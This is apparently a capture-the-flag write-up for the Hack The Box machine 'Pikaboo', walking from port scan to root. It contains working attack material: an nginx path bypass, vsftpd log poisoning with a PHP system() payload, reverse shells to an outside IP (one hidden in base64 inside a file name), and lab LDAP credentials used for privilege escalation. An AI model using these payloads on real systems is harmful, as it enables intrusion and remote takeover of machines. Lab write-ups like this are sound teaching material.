User
First of all checked what ports are open on the target:
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 17:e1:13:fe:66:6d:26:b6:90:68:d0:30:54:2e:e2:9f (RSA)
| 256 92:86:54:f7:cc:5a:1a:15:fe:c6:09:cc:e5:7c:0d:c3 (ECDSA)
|_ 256 f4💿6f:3b:19:9c:cf:33:c6:6d:a5:13:6a:61:01:42 (ED25519)
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Pikaboo
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
There is an ftp so tried to connect with anonymous user, but looks disabled:
wget -r ftp://anonymous:anonymous@pikaboo.htb/*
--2021-07-18 13:22:12-- ftp://anonymous:*password*@pikaboo.htb/*
=> ‘pikaboo.htb/.listing’
Resolving pikaboo.htb (pikaboo.htb)... 10.10.10.249
Connecting to pikaboo.htb (pikaboo.htb)|10.10.10.249|:21... connected.
Logging in as anonymous ...
Login incorrect.
Let’s see what is in the web:
Also there is an endpoint that looks vulnerable to sql injection, but tried with sqlmap and got nothing:
sqlmap -u http://pikaboo.htb/pokeapi.php?id=1 --random-agent --level 5 --risk 3
Fuzzing the web found that there is an admin directory, but it appears multiple times… :
ffuf -c -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://pikaboo.htb/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://pikaboo.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
images [Status: 301, Size: 319, Words: 20, Lines: 10]
[Status: 200, Size: 6922, Words: 1730, Lines: 209]
admin [Status: 401, Size: 456, Words: 42, Lines: 15]
administration [Status: 401, Size: 456, Words: 42, Lines: 15]
administrator [Status: 401, Size: 456, Words: 42, Lines: 15]
administr8 [Status: 401, Size: 456, Words: 42, Lines: 15]
administrative [Status: 401, Size: 456, Words: 42, Lines: 15]
administratie [Status: 401, Size: 456, Words: 42, Lines: 15]
admins [Status: 401, Size: 456, Words: 42, Lines: 15]
admin_images [Status: 401, Size: 456, Words: 42, Lines: 15]
administrivia [Status: 401, Size: 456, Words: 42, Lines: 15]
[Status: 200, Size: 6922, Words: 1730, Lines: 209]
administrative-law [Status: 401, Size: 456, Words: 42, Lines: 15]
administrators [Status: 401, Size: 456, Words: 42, Lines: 15]
admin1 [Status: 401, Size: 456, Words: 42, Lines: 15]
administer [Status: 401, Size: 456, Words: 42, Lines: 15]
admin3_gtpointup [Status: 401, Size: 456, Words: 42, Lines: 15]
admin_hp [Status: 401, Size: 456, Words: 42, Lines: 15]
admin25 [Status: 401, Size: 456, Words: 42, Lines: 15]
admin02 [Status: 401, Size: 456, Words: 42, Lines: 15]
administrationinfo [Status: 401, Size: 456, Words: 42, Lines: 15]
admin_thumb [Status: 401, Size: 456, Words: 42, Lines: 15]
admin_full [Status: 401, Size: 456, Words: 42, Lines: 15]
admin_functions [Status: 401, Size: 456, Words: 42, Lines: 15]
admin2 [Status: 401, Size: 456, Words: 42, Lines: 15]
adminhelp [Status: 401, Size: 456, Words: 42, Lines: 15]
administratoraccounts [Status: 401, Size: 456, Words: 42, Lines: 15]
adminoffice [Status: 401, Size: 456, Words: 42, Lines: 15]
administracja [Status: 401, Size: 456, Words: 42, Lines: 15]
:: Progress: [220547/220547] :: Job [1/1] :: 131 req/sec :: Duration: [0:11:50] :: Errors: 255 ::
That’s suspicious so it may be a regular expression on nginx, it asks us for basic auth. Most common credentials didn’t work but interestingly enough when we cancel the login request, it points out that is proxying to different vhost on port 81:
After some time trying to find how to bypass nginx regex location ended up finding this post about nginx missconfigurations.
When trying Off-By-Slash
using ffuf
found different results from the main website which indicates that is actually vulnerable:
ffuf -c -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://pikaboo.htb/admin../FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://pikaboo.htb/admin../FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
# Priority ordered case-sensitive list, where entries were found [Status: 403, Size: 274, Words: 20, Lines: 10]
# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 403, Size: 274, Words: 20, Lines: 10]
# [Status: 403, Size: 274, Words: 20, Lines: 10]
[Status: 403, Size: 274, Words: 20, Lines: 10]
# [Status: 403, Size: 274, Words: 20, Lines: 10]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 403, Size: 274, Words: 20, Lines: 10]
# This work is licensed under the Creative Commons [Status: 403, Size: 274, Words: 20, Lines: 10]
# [Status: 403, Size: 274, Words: 20, Lines: 10]
# or send a letter to Creative Commons, 171 Second Street, [Status: 403, Size: 274, Words: 20, Lines: 10]
# Suite 300, San Francisco, California, 94105, USA. [Status: 403, Size: 274, Words: 20, Lines: 10]
# directory-list-2.3-medium.txt [Status: 403, Size: 274, Words: 20, Lines: 10]
# [Status: 403, Size: 274, Words: 20, Lines: 10]
# Copyright 2007 James Fisher [Status: 403, Size: 274, Words: 20, Lines: 10]
# on at least 2 different hosts [Status: 403, Size: 274, Words: 20, Lines: 10]
admin [Status: 401, Size: 456, Words: 42, Lines: 15]
javascript [Status: 301, Size: 314, Words: 20, Lines: 10]
[Status: 403, Size: 274, Words: 20, Lines: 10]
server-status [Status: 200, Size: 5356, Words: 261, Lines: 106]
:: Progress: [220560/220560] :: Job [1/1] :: 79 req/sec :: Duration: [0:29:22] :: Errors: 0 ::
To confirm it we can use curl:
curl -I http://pikaboo.htb/admin../javascript
HTTP/1.1 301 Moved Permanently
Server: nginx/1.14.2
Date: Sun, 18 Jul 2021 11:45:32 GMT
Content-Type: text/html; charset=iso-8859-1
Connection: keep-alive
Location: http://127.0.0.1:81/javascript/
curl -I http://pikaboo.htb/javascript
HTTP/1.1 404 Not Found
Server: nginx/1.14.2
Date: Sun, 18 Jul 2021 11:45:38 GMT
Content-Type: text/html; charset=iso-8859-1
Connection: keep-alive
Vary: Accept-Encoding
What caught my attention is server-status
returning 200 OK
, searching if this was exploitable this post showcase this particular scenario. So used the tool:
python3 server-status_PWN.py -u http://p
ikaboo.htb/admin../server-status
[#] Requesting.
[New URL]: http://localhost:81/admin_staging
[New URL]: http://localhost:81/admin/../server-status
[New URL]: http://localhost:81/pokatdex/favicon.ico
So we got a new url in here when I intercept that request on burp it shows 301:
Tested adding a /
at the end before fuzzing, surprisingly now it returns the web page:
Searching on the app found this enpoint /admin../admin_staging/index.php?page=typography.php
that seems vulnerable to File Inclusion so used panoptic to search for common files:
python2 panoptic.py --url http://pikaboo.htb/admin../admin_staging/index.php?page=user.php
.-',--.`-.
<_ | () | _>
`-`=='-'
Panoptic v0.1-a9e104f (https://github.com/lightos/Panoptic/)
[i] Starting scan at: 18:51:40
[i] Checking original response...
[i] Checking invalid response...
[i] Done!
[i] Searching for files...
[i] Possible file(s) found!
[i] OS: *NIX
[?] Do you want to restrict further scans to '*NIX'? [Y/n] Y
[+] Found '/var/log/vsftpd.log' (*NIX/FTP/log).
[+] Found '/var/log/nginx/access.log' (*NIX/HTTP server/log).
[i] File search complete.
[i] Finishing scan at: 18:56:48
We can use log poisoning to get RCE, with vsftpd logs for instance. Here is an explanation. Just login with an invalid username through ftp that contains a PHP payload:
ftp pikaboo.htb
Connected to pikaboo.htb.
220 (vsFTPd 3.0.3)
Name (pikaboo.htb:jusepe): '<?php system($_GET["payload"]); ?>'
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
We can double check by executing ifconfig
:
http://pikaboo.htb/admin../admin_staging/index.php?page=/var/log/vsftpd.log&payload=ifconfig
At this point spent a couple hours trying to pop a reverse shell, it seems that you need to use /bin/bash -c
beforehand otherewise doesnt work somehow. So just log in to ftp with the following username and wait for the reverse shell to pop up:
ftp pikaboo.htb
Connected to pikaboo.htb.
220 (vsFTPd 3.0.3)
Name (pikaboo.htb:jusepe): '<?php system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.193/9000 0>&1'"); ?>'
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
Root
Tried to crack httpasswd hash without success:
IMAGEN
If we have a look at /opt
directory there is a folder with a pokeapi, checking it out we can find LDAP credentials in /opt/pokeapi/config/settings.py
:
DATABASES = {
"ldap": {
"ENGINE": "ldapdb.backends.ldap",
"NAME": "ldap:///",
"USER": "cn=binduser,ou=users,dc=pikaboo,dc=htb",
"PASSWORD": "J~42%W?PFHl]g",
},
"default": {
"ENGINE": "django.db.backends.sqlite3",
"NAME": "/opt/pokeapi/db.sqlite3",
}
}
At first looking at hacktricks section tried login with the following command:
ldapsearch -x -h 127.0.0.1 -D 'pikaboo.htb\pwnmeow' -w 'J~42%W?PFHl]g' -b "CN=Users,DC=pikaboo,DC=htb"
Then found this post explaining how to use ldap, he uses CN to login so when doing so we can now enumerate ldap:
ldapsearch -x -h 127.0.0.1 -D 'cn=binduser,ou=users,dc=pikaboo,dc=htb' -w 'J~42%W?PFHl]g' -b "CN=Users,DC=pikaboo,DC=htb"
# extended LDIF
#
# LDAPv3
# base <DC=pikaboo,DC=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# pikaboo.htb
dn: dc=pikaboo,dc=htb
objectClass: domain
dc: pikaboo
# ftp.pikaboo.htb
dn: dc=ftp,dc=pikaboo,dc=htb
objectClass: domain
dc: ftp
# users, pikaboo.htb
dn: ou=users,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: users
# pokeapi.pikaboo.htb
dn: dc=pokeapi,dc=pikaboo,dc=htb
objectClass: domain
dc: pokeapi
# users, ftp.pikaboo.htb
dn: ou=users,dc=ftp,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: users
# groups, ftp.pikaboo.htb
dn: ou=groups,dc=ftp,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: groups
# pwnmeow, users, ftp.pikaboo.htb
dn: uid=pwnmeow,ou=users,dc=ftp,dc=pikaboo,dc=htb
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
uid: pwnmeow
cn: Pwn
sn: Meow
loginShell: /bin/bash
uidNumber: 10000
gidNumber: 10000
homeDirectory: /home/pwnmeow
userPassword:: X0cwdFQ0X0M0dGNIXyczbV80bEwhXw==
# binduser, users, pikaboo.htb
dn: cn=binduser,ou=users,dc=pikaboo,dc=htb
cn: binduser
objectClass: simpleSecurityObject
objectClass: organizationalRole
userPassword:: Sn40MiVXP1BGSGxdZw==
# users, pokeapi.pikaboo.htb
dn: ou=users,dc=pokeapi,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: users
# groups, pokeapi.pikaboo.htb
dn: ou=groups,dc=pokeapi,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: groups
# search result
search: 2
result: 0 Success
# numResponses: 11
# numEntries: 10
Now we can just url decode the password:
echo 'X0cwdFQ0X0M0dGNIXyczbV80bEwhXw==' | base64 -d
_G0tT4_C4tcH_'3m_4lL!_
Then tried to log in as pwnmeow
both in ssh and using su
but got access denied. Luckily we can log in using ftp:
ftp pikaboo.htb
Connected to pikaboo.htb.
220 (vsFTPd 3.0.3)
Name (pikaboo.htb:jusepe): pwnmeow
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
Additionally there is a crontab running as root every second:
* * * * * root /usr/local/bin/csvupdate_cron
Let’s have a look at it:
|
|
Also let’s check what csvupdate
does:
|
|
=‘file://root/root.txt’#$passwd.A1,random
Found this article that shows how open
function is vulnerable to execute commands in perl, so we create a file with the following name:
|echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xOTMvOTAwMCAwPiYxCg== | base64 -d | bash | foo.csv
It must end with csv
so it gets opened by the script.
Finally we can upload the file through lftp
since using ftp was giving some problem with files that contains special characters and spaces:
lftp pikaboo.htb
lftp pikaboo.htb:~> login pwnmeow _G0tT4_C4tcH_\'3m_4lL!_
lftp pwnmeow@pikaboo.htb:~> cd move_effects
cd ok, cwd=/move_effects
lftp pwnmeow@pikaboo.htb:/move_effects> put \|echo\ YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xOTMvOTAwMCAwPiYxCg==\ \|\ base64\ -d\ \|\ bash\ \|\ foo.csv
8 bytes transferred
Finally we wait on our listener and voilá:
id && ifconfig
uid=0(root) gid=0(root) groups=0(root)
ens192: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.10.249 netmask 255.255.255.0 broadcast 10.10.10.255
inet6 dead:beef::250:56ff:feb9:58d6 prefixlen 64 scopeid 0x0<global>
inet6 fe80::250:56ff:feb9:58d6 prefixlen 64 scopeid 0x20<link>
ether 00:50:56:b9:58:d6 txqueuelen 1000 (Ethernet)
RX packets 36084 bytes 5344373 (5.0 MiB)
RX errors 0 dropped 201 overruns 0 frame 0
TX packets 30191 bytes 12455268 (11.8 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 205043 bytes 23398343 (22.3 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 205043 bytes 23398343 (22.3 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0